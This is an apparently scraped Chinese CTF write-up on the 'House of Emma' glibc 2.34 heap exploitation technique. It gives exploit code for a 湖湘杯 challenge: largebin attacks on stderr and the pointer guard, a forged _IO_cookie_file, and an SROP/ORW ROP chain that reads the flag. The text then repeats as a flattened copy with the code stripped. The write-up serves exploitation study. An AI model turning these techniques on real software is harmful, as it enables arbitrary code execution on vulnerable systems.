libc2.34下的堆利用--House_of_emma分析
字数 1540 2025-08-06 21:48:51

House of Emma 利用技术分析 - libc2.34下的堆利用

0x01 技术背景

在libc2.34版本中,移除了传统的__malloc_hook__free_hook机制,这使得传统的hook劫持技术失效。我们需要寻找新的利用方法来实现任意代码执行。

关键变化:

  • 移除了所有hook机制
  • 需要寻找类似hook功能的替代方案
  • IO_FILE虚表(vtable)成为新的攻击目标

0x02 技术原理

核心利用点:IO_cookie_jumps

在libc的IO虚表中存在一个特殊的跳转表_IO_cookie_jumps,其中包含几个关键函数:

static const struct _IO_jump_t _IO_cookie_jumps libio_vtable = {
    JUMP_INIT_DUMMY,
    JUMP_INIT(finish, _IO_file_finish),
    JUMP_INIT(overflow, _IO_file_overflow),
    JUMP_INIT(underflow, _IO_file_underflow),
    JUMP_INIT(uflow, _IO_default_uflow),
    JUMP_INIT(pbackfail, _IO_default_pbackfail),
    JUMP_INIT(xsputn, _IO_file_xsputn),
    JUMP_INIT(xsgetn, _IO_default_xsgetn),
    JUMP_INIT(seekoff, _IO_cookie_seekoff),
    JUMP_INIT(seekpos, _IO_default_seekpos),
    JUMP_INIT(setbuf, _IO_file_setbuf),
    JUMP_INIT(sync, _IO_file_sync),
    JUMP_INIT(doallocate, _IO_file_doallocate),
    JUMP_INIT(read, _IO_cookie_read),
    JUMP_INIT(write, _IO_cookie_write),
    JUMP_INIT(seek, _IO_cookie_seek),
    JUMP_INIT(close, _IO_cookie_close),
    JUMP_INIT(stat, _IO_default_stat),
    JUMP_INIT(showmanyc, _IO_default_showmanyc),
    JUMP_INIT(imbue, _IO_default_imbue)
};

关键函数分析

_IO_cookie_write为例:

static ssize_t _IO_cookie_write (FILE *fp, const void *buf, ssize_t size) {
    struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
    cookie_write_function_t *write_cb = cfile->__io_functions.write;
    
    #ifdef PTR_DEMANGLE
    PTR_DEMANGLE (write_cb);
    #endif
    
    if (write_cb == NULL) {
        fp->_flags |= _IO_ERR_SEEN;
        return 0;
    }
    ssize_t n = write_cb (cfile->__cookie, buf, size);
    if (n < size)
        fp->_flags |= _IO_ERR_SEEN;
    return n;
}

结构体布局

struct _IO_cookie_file {
    struct _IO_FILE_plus __fp;
    void *__cookie;
    cookie_io_functions_t __io_functions;
};

typedef struct _IO_cookie_io_functions_t {
    cookie_read_function_t *read;
    cookie_write_function_t *write;
    cookie_seek_function_t *seek;
    cookie_close_function_t *close;
} cookie_io_functions_t;

利用链构建

  1. 触发IO流(通过FSOP或House of Kiwi)
  2. 控制vtable指向_IO_cookie_jumps+偏移
  3. 伪造_IO_cookie_file结构体:
    • __cookie:控制第一个参数
    • __io_functions:控制函数指针

指针保护绕过(PTR_DEMANGLE)

glibc中的指针保护机制:

extern uintptr_t __pointer_chk_guard attribute_relro;
#define PTR_MANGLE(var) (var) = (__typeof (var)) ((uintptr_t) (var) ^ __pointer_chk_guard)
#define PTR_DEMANGLE(var) PTR_MANGLE (var)

实际保护机制:

  • 保护指针存储在TLS段(fs:0x30
  • 加密方式:ROR移位0x11后再与指针异或

绕过方法:

  • 使用Largebin Attack等技术修改__pointer_chk_guard
  • 使其变为已知值,从而可以正确计算加密后的指针

0x03 利用步骤

前置条件

  1. 能够实现任意地址写(如Largebin Attack等)
  2. 能够触发IO流(FSOP或House of Kiwi)

具体步骤

  1. 泄露地址

    • 泄露libc基址
    • 泄露堆基址
  2. Largebin Attack

    • 劫持stderr指针指向可控堆地址
    • 修改__pointer_chk_guard为已知值
  3. 伪造IO_FILE结构

    • 构造_IO_cookie_file结构
    • 设置vtable_IO_cookie_jumps+适当偏移
    • 设置__cookie__io_functions指针
  4. 触发利用

    • 通过修改top chunk size等方式触发IO流
    • 执行伪造的函数指针

实际利用中的注意事项

  1. 可能需要构造两个IO_FILE结构:

    • 第一个用于修改__pointer_chk_guard
    • 第二个用于实际利用
  2. 在沙箱环境下:

    • 需要构造ROP链实现ORW
    • 使用setcontext等函数实现栈迁移

0x04 实例分析 - 湖湘杯题目

题目保护

  • 全保护开启
  • 沙箱禁用了execve

漏洞利用

  1. 泄露地址

    add(0, 0x410)
    add(1, 0x410)
    add(2, 0x420)
    add(3, 0x410)
    delete(2)
    add(4, 0x430)
    show(2)
    libc_base = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x1f30b0
    
  2. Largebin Attack劫持stderr

    delete(0)
    edit(2, p64(libc_base + 0x1f30b0)*2 + p64(heap_base + 0x2ae0) + p64(libc.sym['stderr'] - 0x20))
    add(5, 0x430)
    
  3. Largebin Attack修改guard

    delete(2)
    add(6, 0x430)
    delete(0)
    edit(2, p64(libc_base + 0x1f30b0)*2 + p64(heap_base + 0x2ae0) + p64(guard - 0x20))
    
  4. 触发IO流

    delete(7)
    add(8, 0x430)
    edit(7, 'a'*0x438 + p64(0x300))  # 修改top chunk size
    
  5. 构造伪造的IO_FILE

    fake_IO_FILE = 2*p64(0)
    fake_IO_FILE += p64(0)  # _IO_write_base = 0
    fake_IO_FILE += p64(0xffffffffffffffff)  # _IO_write_ptr
    fake_IO_FILE += p64(0)
    fake_IO_FILE += p64(0)  # _IO_buf_base
    fake_IO_FILE += p64(0)  # _IO_buf_end
    fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
    fake_IO_FILE += p64(next_chain)  # _chain
    fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
    fake_IO_FILE += p64(heap_base)  # _lock
    fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
    fake_IO_FILE += p64(0)  # _mode = 0
    fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
    fake_IO_FILE += p64(libc.sym['_IO_cookie_jumps'] + 0x40)  # vtable
    fake_IO_FILE += p64(srop_addr)  # rdi
    fake_IO_FILE += p64(0)
    fake_IO_FILE += p64(ROL(gadget_addr ^ (heap_base + 0x22a0), 0x11))
    
  6. 构造ROP链实现ORW

    frame = SigreturnFrame()
    frame.rdi = fake_frame_addr + 0xF8
    frame.rsi = 0
    frame.rdx = 0x100
    frame.rsp = fake_frame_addr + 0xF8 + 0x10
    frame.rip = pop_rdi_addr + 1  # ret
    
    rop_data = [
        pop_rax_addr, 2, syscall_addr,  # open('flag', 0)
        pop_rax_addr, 0, pop_rdi_addr, 3, pop_rsi_addr, fake_frame_addr + 0x200, syscall_addr,  # read(flag_fd, heap, 0x100)
        pop_rax_addr, 1, pop_rdi_addr, 1, pop_rsi_addr, fake_frame_addr + 0x200, syscall_addr  # write(1, heap, 0x100)
    ]
    

0x05 关键点总结

  1. 利用目标

    • 劫持IO虚表中的_IO_cookie_jumps函数指针
    • 通过伪造的_IO_cookie_file结构控制程序流
  2. 必要条件

    • 任意地址写能力
    • 触发IO流的能力
    • 绕过指针保护机制
  3. 技术组合

    • Largebin Attack用于地址劫持
    • FSOP/House of Kiwi用于触发
    • ROP链用于沙箱绕过
  4. 适用性

    • 适用于libc2.34及更高版本
    • 在传统hook失效的情况下仍能实现利用

0x06 防御建议

  1. 及时更新libc版本
  2. 加强堆管理安全机制
  3. 监控关键数据结构的完整性
  4. 使用更严格的指针保护机制

通过House of Emma技术,我们可以在没有传统hook的情况下,通过IO虚表实现任意代码执行,这是libc2.34环境下一种强有力的利用技术。

House of Emma 利用技术分析 - libc2.34下的堆利用 0x01 技术背景 在libc2.34版本中,移除了传统的 __malloc_hook 和 __free_hook 机制,这使得传统的hook劫持技术失效。我们需要寻找新的利用方法来实现任意代码执行。 关键变化: 移除了所有hook机制 需要寻找类似hook功能的替代方案 IO_ FILE虚表(vtable)成为新的攻击目标 0x02 技术原理 核心利用点:IO_ cookie_ jumps 在libc的IO虚表中存在一个特殊的跳转表 _IO_cookie_jumps ,其中包含几个关键函数: 关键函数分析 以 _IO_cookie_write 为例: 结构体布局 利用链构建 触发IO流(通过FSOP或House of Kiwi) 控制 vtable 指向 _IO_cookie_jumps +偏移 伪造 _IO_cookie_file 结构体: __cookie :控制第一个参数 __io_functions :控制函数指针 指针保护绕过(PTR_ DEMANGLE) glibc中的指针保护机制: 实际保护机制: 保护指针存储在TLS段( fs:0x30 ) 加密方式:ROR移位0x11后再与指针异或 绕过方法: 使用Largebin Attack等技术修改 __pointer_chk_guard 值 使其变为已知值,从而可以正确计算加密后的指针 0x03 利用步骤 前置条件 能够实现任意地址写(如Largebin Attack等) 能够触发IO流(FSOP或House of Kiwi) 具体步骤 泄露地址 : 泄露libc基址 泄露堆基址 Largebin Attack : 劫持 stderr 指针指向可控堆地址 修改 __pointer_chk_guard 为已知值 伪造IO_ FILE结构 : 构造 _IO_cookie_file 结构 设置 vtable 为 _IO_cookie_jumps +适当偏移 设置 __cookie 和 __io_functions 指针 触发利用 : 通过修改top chunk size等方式触发IO流 执行伪造的函数指针 实际利用中的注意事项 可能需要构造两个IO_ FILE结构: 第一个用于修改 __pointer_chk_guard 第二个用于实际利用 在沙箱环境下: 需要构造ROP链实现ORW 使用 setcontext 等函数实现栈迁移 0x04 实例分析 - 湖湘杯题目 题目保护 全保护开启 沙箱禁用了execve 漏洞利用 泄露地址 : Largebin Attack劫持stderr : Largebin Attack修改guard : 触发IO流 : 构造伪造的IO_ FILE : 构造ROP链实现ORW : 0x05 关键点总结 利用目标 : 劫持IO虚表中的 _IO_cookie_jumps 函数指针 通过伪造的 _IO_cookie_file 结构控制程序流 必要条件 : 任意地址写能力 触发IO流的能力 绕过指针保护机制 技术组合 : Largebin Attack用于地址劫持 FSOP/House of Kiwi用于触发 ROP链用于沙箱绕过 适用性 : 适用于libc2.34及更高版本 在传统hook失效的情况下仍能实现利用 0x06 防御建议 及时更新libc版本 加强堆管理安全机制 监控关键数据结构的完整性 使用更严格的指针保护机制 通过House of Emma技术,我们可以在没有传统hook的情况下,通过IO虚表实现任意代码执行,这是libc2.34环境下一种强有力的利用技术。